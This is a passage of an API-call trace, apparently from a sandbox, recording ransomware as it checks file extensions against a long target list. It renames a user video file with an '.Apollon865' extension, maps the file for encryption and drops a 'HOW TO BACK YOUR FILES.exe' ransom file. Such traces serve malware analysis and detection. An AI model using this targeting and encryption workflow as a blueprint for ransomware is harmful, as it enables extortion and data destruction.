	[0086.677] lstrcmpiW (lpString1="mkv", lpString2="sdb") returned -1
	[0086.677] lstrlenW (lpString="sdc") returned 3
	[0086.677] lstrcmpiW (lpString1="mkv", lpString2="sdc") returned -1
	[0086.677] lstrlenW (lpString="sdf") returned 3
	[0086.677] lstrcmpiW (lpString1="mkv", lpString2="sdf") returned -1
	[0086.677] lstrlenW (lpString="sis") returned 3
	[0086.677] lstrcmpiW (lpString1="mkv", lpString2="sis") returned -1
	[0086.677] lstrlenW (lpString="spq") returned 3
	[0086.677] lstrcmpiW (lpString1="mkv", lpString2="spq") returned -1
	[0086.677] lstrlenW (lpString="te") returned 2
	[0086.677] lstrcmpiW (lpString1="kv", lpString2="te") returned -1
	[0086.677] lstrlenW (lpString="teacher") returned 7
	[0086.677] lstrcmpiW (lpString1="H8d.mkv", lpString2="teacher") returned -1
	[0086.677] lstrlenW (lpString="tmd") returned 3
	[0086.677] lstrcmpiW (lpString1="mkv", lpString2="tmd") returned -1
	[0086.677] lstrlenW (lpString="tps") returned 3
	[0086.677] lstrcmpiW (lpString1="mkv", lpString2="tps") returned -1
	[0086.677] lstrlenW (lpString="trc") returned 3
	[0086.677] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1
	[0086.677] lstrlenW (lpString="trc") returned 3
	[0086.677] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1
	[0086.677] lstrlenW (lpString="trm") returned 3
	[0086.677] lstrcmpiW (lpString1="mkv", lpString2="trm") returned -1
	[0086.677] lstrlenW (lpString="udb") returned 3
	[0086.677] lstrcmpiW (lpString1="mkv", lpString2="udb") returned -1
	[0086.677] lstrlenW (lpString="udl") returned 3
	[0086.677] lstrcmpiW (lpString1="mkv", lpString2="udl") returned -1
	[0086.677] lstrlenW (lpString="usr") returned 3
	[0086.677] lstrcmpiW (lpString1="mkv", lpString2="usr") returned -1
	[0086.677] lstrlenW (lpString="v12") returned 3
	[0086.678] lstrcmpiW (lpString1="mkv", lpString2="v12") returned -1
	[0086.678] lstrlenW (lpString="vis") returned 3
	[0086.678] lstrcmpiW (lpString1="mkv", lpString2="vis") returned -1
	[0086.678] lstrlenW (lpString="vpd") returned 3
	[0086.678] lstrcmpiW (lpString1="mkv", lpString2="vpd") returned -1
	[0086.678] lstrlenW (lpString="vvv") returned 3
	[0086.678] lstrcmpiW (lpString1="mkv", lpString2="vvv") returned -1
	[0086.678] lstrlenW (lpString="wdb") returned 3
	[0086.678] lstrcmpiW (lpString1="mkv", lpString2="wdb") returned -1
	[0086.678] lstrlenW (lpString="wmdb") returned 4
	[0086.678] lstrcmpiW (lpString1=".mkv", lpString2="wmdb") returned -1
	[0086.678] lstrlenW (lpString="wrk") returned 3
	[0086.678] lstrcmpiW (lpString1="mkv", lpString2="wrk") returned -1
	[0086.678] lstrlenW (lpString="xdb") returned 3
	[0086.678] lstrcmpiW (lpString1="mkv", lpString2="xdb") returned -1
	[0086.678] lstrlenW (lpString="xld") returned 3
	[0086.678] lstrcmpiW (lpString1="mkv", lpString2="xld") returned -1
	[0086.678] lstrlenW (lpString="xmlff") returned 5
	[0086.678] lstrcmpiW (lpString1="d.mkv", lpString2="xmlff") returned -1
	[0086.678] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\kypfleYqzdoAf0tdH8d.mkv.Apollon865") returned 90
	[0086.678] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\kypfleYqzdoAf0tdH8d.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hai8-2ik1bcnpces5q\\kypfleyqzdoaf0tdh8d.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\kypfleYqzdoAf0tdH8d.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hai8-2ik1bcnpces5q\\kypfleyqzdoaf0tdh8d.mkv.apollon865"), dwFlags=0x1) returned 1
	[0086.681] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\kypfleYqzdoAf0tdH8d.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hai8-2ik1bcnpces5q\\kypfleyqzdoaf0tdh8d.mkv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.681] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=97212) returned 1
	[0086.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.682] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.682] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.682] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.683] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17ec0, lpName=0x0) returned 0x15c
	[0086.683] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17ec0) returned 0x120000
	[0086.687] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.687] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.687] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.688] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0086.689] CloseHandle (hObject=0x15c) returned 1
	[0086.689] CloseHandle (hObject=0x9c) returned 1
	[0086.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.690] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ebb2a90, ftCreationTime.dwHighDateTime=0x1d4d1b8, ftLastAccessTime.dwLowDateTime=0xc1489fe0, ftLastAccessTime.dwHighDateTime=0x1d4c6a6, ftLastWriteTime.dwLowDateTime=0xc1489fe0, ftLastWriteTime.dwHighDateTime=0x1d4c6a6, nFileSizeHigh=0x0, nFileSizeLow=0x17bbc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kypfleYqzdoAf0tdH8d.mkv", cAlternateFileName="KYPFLE~1.MKV")) returned 0
	[0086.691] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0086.691] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7af0
	[0086.691] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K"
	[0086.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598528 | out: hHeap=0x580000) returned 1
	[0086.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0086.691] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K") returned 42
	[0086.691] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K"
	[0086.691] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0086.691] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0086.692] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.692] GetLastError () returned 0x0
	[0086.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0086.692] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0086.692] CloseHandle (hObject=0x10c) returned 1
	[0086.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0086.692] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0086.692] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5a55e80, ftCreationTime.dwHighDateTime=0x1d4c728, ftLastAccessTime.dwLowDateTime=0x301ad4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x301ad4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0086.692] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.692] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0086.693] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0086.693] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5a55e80, ftCreationTime.dwHighDateTime=0x1d4c728, ftLastAccessTime.dwLowDateTime=0x301ad4f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x301ad4f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.693] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.693] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0086.693] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0086.693] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0086.693] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x981a3fd0, ftCreationTime.dwHighDateTime=0x1d4c6be, ftLastAccessTime.dwLowDateTime=0x4afc6a20, ftLastAccessTime.dwHighDateTime=0x1d4c9ca, ftLastWriteTime.dwLowDateTime=0x4afc6a20, ftLastWriteTime.dwHighDateTime=0x1d4c9ca, nFileSizeHigh=0x0, nFileSizeLow=0x31a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-ykLo9035QfZavi.flv", cAlternateFileName="-YKLO9~1.FLV")) returned 1
	[0086.693] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.693] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2="Apollon865.txt.exe") returned 1
	[0086.693] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2=".") returned 1
	[0086.693] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2="..") returned 1
	[0086.693] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2="windows") returned 1
	[0086.693] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2="bootmgr") returned 1
	[0086.693] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2="temp") returned 1
	[0086.693] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2="pagefile.sys") returned 1
	[0086.693] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2="boot") returned 1
	[0086.693] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2="ids.txt") returned 1
	[0086.693] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2="ntuser.dat") returned 1
	[0086.693] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2="perflogs") returned 1
	[0086.693] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2="MSBuild") returned 1
	[0086.693] lstrlenW (lpString="-ykLo9035QfZavi.flv") returned 19
	[0086.693] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\*") returned 44
	[0086.693] lstrcpyW (in: lpString1=0x119e65e, lpString2="-ykLo9035QfZavi.flv" | out: lpString1="-ykLo9035QfZavi.flv") returned="-ykLo9035QfZavi.flv"
	[0086.693] lstrlenW (lpString="-ykLo9035QfZavi.flv") returned 19
	[0086.693] lstrlenW (lpString="Apollon865") returned 10
	[0086.693] lstrcmpiW (lpString1="QfZavi.flv", lpString2="Apollon865") returned 1
	[0086.693] lstrlenW (lpString=".dll") returned 4
	[0086.693] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2=".dll") returned 1
	[0086.693] lstrlenW (lpString=".lnk") returned 4
	[0086.693] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2=".lnk") returned 1
	[0086.693] lstrlenW (lpString=".ini") returned 4
	[0086.693] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2=".ini") returned 1
	[0086.693] lstrlenW (lpString=".sys") returned 4
	[0086.694] lstrcmpiW (lpString1="-ykLo9035QfZavi.flv", lpString2=".sys") returned 1
	[0086.694] lstrlenW (lpString="-ykLo9035QfZavi.flv") returned 19
	[0086.694] lstrlenW (lpString="bak") returned 3
	[0086.694] lstrcmpiW (lpString1="flv", lpString2="bak") returned 1
	[0086.694] lstrlenW (lpString="ba_") returned 3
	[0086.694] lstrcmpiW (lpString1="flv", lpString2="ba_") returned 1
	[0086.694] lstrlenW (lpString="dbb") returned 3
	[0086.694] lstrcmpiW (lpString1="flv", lpString2="dbb") returned 1
	[0086.694] lstrlenW (lpString="vmdk") returned 4
	[0086.694] lstrcmpiW (lpString1=".flv", lpString2="vmdk") returned -1
	[0086.694] lstrlenW (lpString="rar") returned 3
	[0086.694] lstrcmpiW (lpString1="flv", lpString2="rar") returned -1
	[0086.694] lstrlenW (lpString="zip") returned 3
	[0086.694] lstrcmpiW (lpString1="flv", lpString2="zip") returned -1
	[0086.694] lstrlenW (lpString="tgz") returned 3
	[0086.694] lstrcmpiW (lpString1="flv", lpString2="tgz") returned -1
	[0086.694] lstrlenW (lpString="vbox") returned 4
	[0086.694] lstrcmpiW (lpString1=".flv", lpString2="vbox") returned -1
	[0086.694] lstrlenW (lpString="vdi") returned 3
	[0086.694] lstrcmpiW (lpString1="flv", lpString2="vdi") returned -1
	[0086.694] lstrlenW (lpString="vhd") returned 3
	[0086.694] lstrcmpiW (lpString1="flv", lpString2="vhd") returned -1
	[0086.694] lstrlenW (lpString="vhdx") returned 4
	[0086.694] lstrcmpiW (lpString1=".flv", lpString2="vhdx") returned -1
	[0086.694] lstrlenW (lpString="avhd") returned 4
	[0086.694] lstrcmpiW (lpString1=".flv", lpString2="avhd") returned -1
	[0086.694] lstrlenW (lpString="db") returned 2
	[0086.694] lstrcmpiW (lpString1="lv", lpString2="db") returned 1
	[0086.694] lstrlenW (lpString="db2") returned 3
	[0086.694] lstrcmpiW (lpString1="flv", lpString2="db2") returned 1
	[0086.694] lstrlenW (lpString="db3") returned 3
	[0086.694] lstrcmpiW (lpString1="flv", lpString2="db3") returned 1
	[0086.695] lstrlenW (lpString="dbf") returned 3
	[0086.695] lstrcmpiW (lpString1="flv", lpString2="dbf") returned 1
	[0086.695] lstrlenW (lpString="mdf") returned 3
	[0086.695] lstrcmpiW (lpString1="flv", lpString2="mdf") returned -1
	[0086.695] lstrlenW (lpString="mdb") returned 3
	[0086.695] lstrcmpiW (lpString1="flv", lpString2="mdb") returned -1
	[0086.695] lstrlenW (lpString="sql") returned 3
	[0086.695] lstrcmpiW (lpString1="flv", lpString2="sql") returned -1
	[0086.695] lstrlenW (lpString="sqlite") returned 6
	[0086.695] lstrcmpiW (lpString1="vi.flv", lpString2="sqlite") returned 1
	[0086.695] lstrlenW (lpString="sqlite3") returned 7
	[0086.695] lstrcmpiW (lpString1="avi.flv", lpString2="sqlite3") returned -1
	[0086.695] lstrlenW (lpString="sqlitedb") returned 8
	[0086.695] lstrcmpiW (lpString1="Zavi.flv", lpString2="sqlitedb") returned 1
	[0086.695] lstrlenW (lpString="xml") returned 3
	[0086.695] lstrcmpiW (lpString1="flv", lpString2="xml") returned -1
	[0086.695] lstrlenW (lpString="$er") returned 3
	[0086.695] lstrcmpiW (lpString1="flv", lpString2="$er") returned 1
	[0086.695] lstrlenW (lpString="4dd") returned 3
	[0086.695] lstrcmpiW (lpString1="flv", lpString2="4dd") returned 1
	[0086.695] lstrlenW (lpString="4dl") returned 3
	[0086.695] lstrcmpiW (lpString1="flv", lpString2="4dl") returned 1
	[0086.695] lstrlenW (lpString="^^^") returned 3
	[0086.695] lstrcmpiW (lpString1="flv", lpString2="^^^") returned 1
	[0086.695] lstrlenW (lpString="abs") returned 3
	[0086.695] lstrcmpiW (lpString1="flv", lpString2="abs") returned 1
	[0086.695] lstrlenW (lpString="abx") returned 3
	[0086.695] lstrcmpiW (lpString1="flv", lpString2="abx") returned 1
	[0086.695] lstrlenW (lpString="accdb") returned 5
	[0086.695] lstrcmpiW (lpString1="i.flv", lpString2="accdb") returned 1
	[0086.695] lstrlenW (lpString="accdc") returned 5
	[0086.696] lstrcmpiW (lpString1="i.flv", lpString2="accdc") returned 1
	[0086.696] lstrlenW (lpString="accde") returned 5
	[0086.696] lstrcmpiW (lpString1="i.flv", lpString2="accde") returned 1
	[0086.696] lstrlenW (lpString="accdr") returned 5
	[0086.696] lstrcmpiW (lpString1="i.flv", lpString2="accdr") returned 1
	[0086.696] lstrlenW (lpString="accdt") returned 5
	[0086.696] lstrcmpiW (lpString1="i.flv", lpString2="accdt") returned 1
	[0086.696] lstrlenW (lpString="accdw") returned 5
	[0086.696] lstrcmpiW (lpString1="i.flv", lpString2="accdw") returned 1
	[0086.696] lstrlenW (lpString="accft") returned 5
	[0086.696] lstrcmpiW (lpString1="i.flv", lpString2="accft") returned 1
	[0086.696] lstrlenW (lpString="adb") returned 3
	[0086.696] lstrcmpiW (lpString1="flv", lpString2="adb") returned 1
	[0086.696] lstrlenW (lpString="adb") returned 3
	[0086.696] lstrcmpiW (lpString1="flv", lpString2="adb") returned 1
	[0086.696] lstrlenW (lpString="ade") returned 3
	[0086.696] lstrcmpiW (lpString1="flv", lpString2="ade") returned 1
	[0086.696] lstrlenW (lpString="adf") returned 3
	[0086.696] lstrcmpiW (lpString1="flv", lpString2="adf") returned 1
	[0086.696] lstrlenW (lpString="adn") returned 3
	[0086.696] lstrcmpiW (lpString1="flv", lpString2="adn") returned 1
	[0086.696] lstrlenW (lpString="adp") returned 3
	[0086.696] lstrcmpiW (lpString1="flv", lpString2="adp") returned 1
	[0086.696] lstrlenW (lpString="alf") returned 3
	[0086.696] lstrcmpiW (lpString1="flv", lpString2="alf") returned 1
	[0086.696] lstrlenW (lpString="ask") returned 3
	[0086.696] lstrcmpiW (lpString1="flv", lpString2="ask") returned 1
	[0086.696] lstrlenW (lpString="btr") returned 3
	[0086.696] lstrcmpiW (lpString1="flv", lpString2="btr") returned 1
	[0086.696] lstrlenW (lpString="cat") returned 3
	[0086.696] lstrcmpiW (lpString1="flv", lpString2="cat") returned 1
	[0086.696] lstrlenW (lpString="cdb") returned 3
	[0086.696] lstrcmpiW (lpString1="flv", lpString2="cdb") returned 1
	[0086.696] lstrlenW (lpString="ckp") returned 3
	[0086.696] lstrcmpiW (lpString1="flv", lpString2="ckp") returned 1
	[0086.696] lstrlenW (lpString="cma") returned 3
	[0086.697] lstrcmpiW (lpString1="flv", lpString2="cma") returned 1
	[0086.697] lstrlenW (lpString="cpd") returned 3
	[0086.697] lstrcmpiW (lpString1="flv", lpString2="cpd") returned 1
	[0086.697] lstrlenW (lpString="dacpac") returned 6
	[0086.697] lstrcmpiW (lpString1="vi.flv", lpString2="dacpac") returned 1
	[0086.697] lstrlenW (lpString="dad") returned 3
	[0086.697] lstrcmpiW (lpString1="flv", lpString2="dad") returned 1
	[0086.697] lstrlenW (lpString="dadiagrams") returned 10
	[0086.697] lstrcmpiW (lpString1="QfZavi.flv", lpString2="dadiagrams") returned 1
	[0086.697] lstrlenW (lpString="daschema") returned 8
	[0086.697] lstrcmpiW (lpString1="Zavi.flv", lpString2="daschema") returned 1
	[0086.697] lstrlenW (lpString="db-journal") returned 10
	[0086.697] lstrcmpiW (lpString1="QfZavi.flv", lpString2="db-journal") returned 1
	[0086.697] lstrlenW (lpString="db-shm") returned 6
	[0086.697] lstrcmpiW (lpString1="vi.flv", lpString2="db-shm") returned 1
	[0086.697] lstrlenW (lpString="db-wal") returned 6
	[0086.697] lstrcmpiW (lpString1="vi.flv", lpString2="db-wal") returned 1
	[0086.697] lstrlenW (lpString="dbc") returned 3
	[0086.697] lstrcmpiW (lpString1="flv", lpString2="dbc") returned 1
	[0086.697] lstrlenW (lpString="dbs") returned 3
	[0086.697] lstrcmpiW (lpString1="flv", lpString2="dbs") returned 1
	[0086.697] lstrlenW (lpString="dbt") returned 3
	[0086.697] lstrcmpiW (lpString1="flv", lpString2="dbt") returned 1
	[0086.697] lstrlenW (lpString="dbv") returned 3
	[0086.697] lstrcmpiW (lpString1="flv", lpString2="dbv") returned 1
	[0086.697] lstrlenW (lpString="dbx") returned 3
	[0086.697] lstrcmpiW (lpString1="flv", lpString2="dbx") returned 1
	[0086.697] lstrlenW (lpString="dcb") returned 3
	[0086.697] lstrcmpiW (lpString1="flv", lpString2="dcb") returned 1
	[0086.697] lstrlenW (lpString="dct") returned 3
	[0086.697] lstrcmpiW (lpString1="flv", lpString2="dct") returned 1
	[0086.697] lstrlenW (lpString="dcx") returned 3
	[0086.697] lstrcmpiW (lpString1="flv", lpString2="dcx") returned 1
	[0086.697] lstrlenW (lpString="ddl") returned 3
	[0086.697] lstrcmpiW (lpString1="flv", lpString2="ddl") returned 1
	[0086.697] lstrlenW (lpString="dlis") returned 4
	[0086.698] lstrcmpiW (lpString1=".flv", lpString2="dlis") returned -1
	[0086.698] lstrlenW (lpString="dp1") returned 3
	[0086.698] lstrcmpiW (lpString1="flv", lpString2="dp1") returned 1
	[0086.698] lstrlenW (lpString="dqy") returned 3
	[0086.698] lstrcmpiW (lpString1="flv", lpString2="dqy") returned 1
	[0086.698] lstrlenW (lpString="dsk") returned 3
	[0086.698] lstrcmpiW (lpString1="flv", lpString2="dsk") returned 1
	[0086.698] lstrlenW (lpString="dsn") returned 3
	[0086.698] lstrcmpiW (lpString1="flv", lpString2="dsn") returned 1
	[0086.698] lstrlenW (lpString="dtsx") returned 4
	[0086.698] lstrcmpiW (lpString1=".flv", lpString2="dtsx") returned -1
	[0086.698] lstrlenW (lpString="dxl") returned 3
	[0086.698] lstrcmpiW (lpString1="flv", lpString2="dxl") returned 1
	[0086.698] lstrlenW (lpString="eco") returned 3
	[0086.698] lstrcmpiW (lpString1="flv", lpString2="eco") returned 1
	[0086.698] lstrlenW (lpString="ecx") returned 3
	[0086.698] lstrcmpiW (lpString1="flv", lpString2="ecx") returned 1
	[0086.698] lstrlenW (lpString="edb") returned 3
	[0086.698] lstrcmpiW (lpString1="flv", lpString2="edb") returned 1
	[0086.698] lstrlenW (lpString="epim") returned 4
	[0086.698] lstrcmpiW (lpString1=".flv", lpString2="epim") returned -1
	[0086.698] lstrlenW (lpString="fcd") returned 3
	[0086.698] lstrcmpiW (lpString1="flv", lpString2="fcd") returned 1
	[0086.698] lstrlenW (lpString="fdb") returned 3
	[0086.698] lstrcmpiW (lpString1="flv", lpString2="fdb") returned 1
	[0086.698] lstrlenW (lpString="fic") returned 3
	[0086.698] lstrcmpiW (lpString1="flv", lpString2="fic") returned 1
	[0086.698] lstrlenW (lpString="flexolibrary") returned 12
	[0086.698] lstrcmpiW (lpString1="35QfZavi.flv", lpString2="flexolibrary") returned -1
	[0086.698] lstrlenW (lpString="fm5") returned 3
	[0086.698] lstrcmpiW (lpString1="flv", lpString2="fm5") returned -1
	[0086.698] lstrlenW (lpString="fmp") returned 3
	[0086.698] lstrcmpiW (lpString1="flv", lpString2="fmp") returned -1
	[0086.698] lstrlenW (lpString="fmp12") returned 5
	[0086.698] lstrcmpiW (lpString1="i.flv", lpString2="fmp12") returned 1
	[0086.698] lstrlenW (lpString="fmpsl") returned 5
	[0086.699] lstrcmpiW (lpString1="i.flv", lpString2="fmpsl") returned 1
	[0086.699] lstrlenW (lpString="fol") returned 3
	[0086.699] lstrcmpiW (lpString1="flv", lpString2="fol") returned -1
	[0086.699] lstrlenW (lpString="fp3") returned 3
	[0086.699] lstrcmpiW (lpString1="flv", lpString2="fp3") returned -1
	[0086.699] lstrlenW (lpString="fp4") returned 3
	[0086.699] lstrcmpiW (lpString1="flv", lpString2="fp4") returned -1
	[0086.699] lstrlenW (lpString="fp5") returned 3
	[0086.699] lstrcmpiW (lpString1="flv", lpString2="fp5") returned -1
	[0086.699] lstrlenW (lpString="fp7") returned 3
	[0086.699] lstrcmpiW (lpString1="flv", lpString2="fp7") returned -1
	[0086.699] lstrlenW (lpString="fpt") returned 3
	[0086.699] lstrcmpiW (lpString1="flv", lpString2="fpt") returned -1
	[0086.699] lstrlenW (lpString="frm") returned 3
	[0086.699] lstrcmpiW (lpString1="flv", lpString2="frm") returned -1
	[0086.699] lstrlenW (lpString="gdb") returned 3
	[0086.699] lstrcmpiW (lpString1="flv", lpString2="gdb") returned -1
	[0086.699] lstrlenW (lpString="gdb") returned 3
	[0086.699] lstrcmpiW (lpString1="flv", lpString2="gdb") returned -1
	[0086.699] lstrlenW (lpString="grdb") returned 4
	[0086.699] lstrcmpiW (lpString1=".flv", lpString2="grdb") returned -1
	[0086.699] lstrlenW (lpString="gwi") returned 3
	[0086.699] lstrcmpiW (lpString1="flv", lpString2="gwi") returned -1
	[0086.699] lstrlenW (lpString="hdb") returned 3
